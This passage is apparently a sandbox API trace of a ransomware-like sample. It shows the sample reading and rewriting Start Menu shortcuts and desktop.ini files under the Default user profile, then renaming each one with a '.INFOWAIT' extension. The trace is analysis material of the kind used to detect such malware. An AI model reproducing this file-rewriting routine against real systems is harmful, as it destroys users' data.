dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0146.819] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x106 [0146.819] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0146.819] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0146.819] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x106, lpOverlapped=0x0) returned 1 [0146.821] VirtualAlloc (lpAddress=0x0, dwSize=0x106, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0146.821] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0146.821] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x106, lpOverlapped=0x0) returned 1 [0146.821] CloseHandle (hObject=0xad0) returned 1 [0146.821] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Run.lnk" | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Run.lnk") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Run.lnk" [0146.821] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Run.lnk", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Run.lnk.INFOWAIT") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Run.lnk.INFOWAIT" [0146.821] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Run.lnk" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\run.lnk"), lpNewFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Run.lnk.INFOWAIT" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\run.lnk.infowait")) returned 1 [0146.822] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0146.822] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0146.823] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0146.823] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\computer.lnk" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\computer.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0146.824] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x106 [0146.824] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0146.824] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0146.824] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x106, lpOverlapped=0x0) returned 1 [0146.825] VirtualAlloc (lpAddress=0x0, dwSize=0x106, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0146.825] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0146.825] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x106, lpOverlapped=0x0) returned 1 [0146.826] CloseHandle (hObject=0xad4) returned 1 [0146.826] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\computer.lnk" | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\computer.lnk") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\computer.lnk" [0146.826] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\computer.lnk", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\computer.lnk.INFOWAIT") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\computer.lnk.INFOWAIT" [0146.826] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\computer.lnk" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\computer.lnk"), lpNewFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\computer.lnk.INFOWAIT" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\computer.lnk.infowait")) returned 1 [0146.826] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0146.827] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0146.827] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0146.827] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Control Panel.lnk" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\control panel.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0146.828] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x106 [0146.828] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0146.828] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0146.828] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x106, lpOverlapped=0x0) returned 1 [0146.830] VirtualAlloc (lpAddress=0x0, dwSize=0x106, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0146.830] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0146.830] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x106, lpOverlapped=0x0) returned 1 [0146.830] CloseHandle (hObject=0xad4) returned 1 [0146.830] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Control Panel.lnk" | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Control Panel.lnk") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Control Panel.lnk" [0146.830] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Control Panel.lnk", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Control Panel.lnk.INFOWAIT") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Control Panel.lnk.INFOWAIT" [0146.830] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Control Panel.lnk" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\control panel.lnk"), lpNewFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Control Panel.lnk.INFOWAIT" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\control panel.lnk.infowait")) returned 1 [0146.831] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0146.831] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0146.832] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0146.832] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Desktop.ini" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0146.833] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x2e2 [0146.833] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0146.833] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0146.833] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x2e2, lpOverlapped=0x0) returned 1 [0146.857] VirtualAlloc (lpAddress=0x0, dwSize=0x2e2, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0146.858] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0146.858] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x2e2, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x2e2, lpOverlapped=0x0) returned 1 [0146.858] CloseHandle (hObject=0xad4) returned 1 [0146.858] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Desktop.ini" | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Desktop.ini") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Desktop.ini" [0146.858] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Desktop.ini", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Desktop.ini.INFOWAIT") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Desktop.ini.INFOWAIT" [0146.858] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Desktop.ini" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\desktop.ini"), lpNewFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Desktop.ini.INFOWAIT" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\desktop.ini.infowait")) returned 1 [0146.859] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0146.859] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0146.860] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0146.860] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Internet Explorer (No Add-ons).lnk" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\internet explorer (no add-ons).lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0146.860] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x5db [0146.860] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0146.860] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0146.860] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x5db, lpOverlapped=0x0) returned 1 [0146.863] VirtualAlloc (lpAddress=0x0, dwSize=0x5db, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0146.863] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0146.863] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x5db, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x5db, lpOverlapped=0x0) returned 1 [0146.863] CloseHandle (hObject=0xad4) returned 1 [0146.863] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Internet Explorer (No Add-ons).lnk" | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Internet Explorer (No Add-ons).lnk") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Internet Explorer (No Add-ons).lnk" [0146.864] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Internet Explorer (No Add-ons).lnk", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Internet Explorer (No Add-ons).lnk.INFOWAIT") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Internet Explorer (No Add-ons).lnk.INFOWAIT" [0146.864] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Internet Explorer (No Add-ons).lnk" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\internet explorer (no add-ons).lnk"), lpNewFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Internet Explorer (No Add-ons).lnk.INFOWAIT" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\internet explorer (no add-ons).lnk.infowait")) returned 1 [0146.864] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0146.865] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0146.865] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0146.865] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Private Character Editor.lnk" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\private character editor.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0146.866] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x51a [0146.866] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0146.866] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0146.866] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x51a, lpOverlapped=0x0) returned 1 [0146.868] VirtualAlloc (lpAddress=0x0, dwSize=0x51a, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0146.869] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0146.869] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x51a, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x51a, lpOverlapped=0x0) returned 1 [0146.869] CloseHandle (hObject=0xad4) returned 1 [0146.869] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Private Character Editor.lnk" | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Private Character Editor.lnk") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Private Character Editor.lnk" [0146.869] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Private Character Editor.lnk", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Private Character Editor.lnk.INFOWAIT") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Private Character Editor.lnk.INFOWAIT" [0146.869] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Private Character Editor.lnk" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\private character editor.lnk"), lpNewFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Private Character Editor.lnk.INFOWAIT" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\private character editor.lnk.infowait")) returned 1 [0146.869] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0146.870] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0146.870] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0146.870] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows Explorer.lnk" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\windows explorer.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0146.871] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x4cc [0146.871] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0146.871] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0146.871] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x4cc, lpOverlapped=0x0) returned 1 [0146.879] VirtualAlloc (lpAddress=0x0, dwSize=0x4cc, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0146.880] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0146.880] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x4cc, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x4cc, lpOverlapped=0x0) returned 1 [0146.880] CloseHandle (hObject=0xad4) returned 1 [0146.880] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows Explorer.lnk" | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows Explorer.lnk") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows Explorer.lnk" [0146.880] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows Explorer.lnk", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows Explorer.lnk.INFOWAIT") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows Explorer.lnk.INFOWAIT" [0146.880] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows Explorer.lnk" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\windows explorer.lnk"), lpNewFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows Explorer.lnk.INFOWAIT" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\windows explorer.lnk.infowait")) returned 1 [0146.881] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0146.882] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0146.882] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0146.882] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\desktop.ini" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\administrative tools\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0146.882] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xae [0146.882] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0146.882] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0146.882] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0xae, lpOverlapped=0x0) returned 1 [0146.884] VirtualAlloc (lpAddress=0x0, dwSize=0xae, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0146.884] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0146.884] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0xae, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0xae, lpOverlapped=0x0) returned 1 [0146.884] CloseHandle (hObject=0xad4) returned 1 [0146.884] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\desktop.ini" | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\desktop.ini") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\desktop.ini" [0146.884] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start 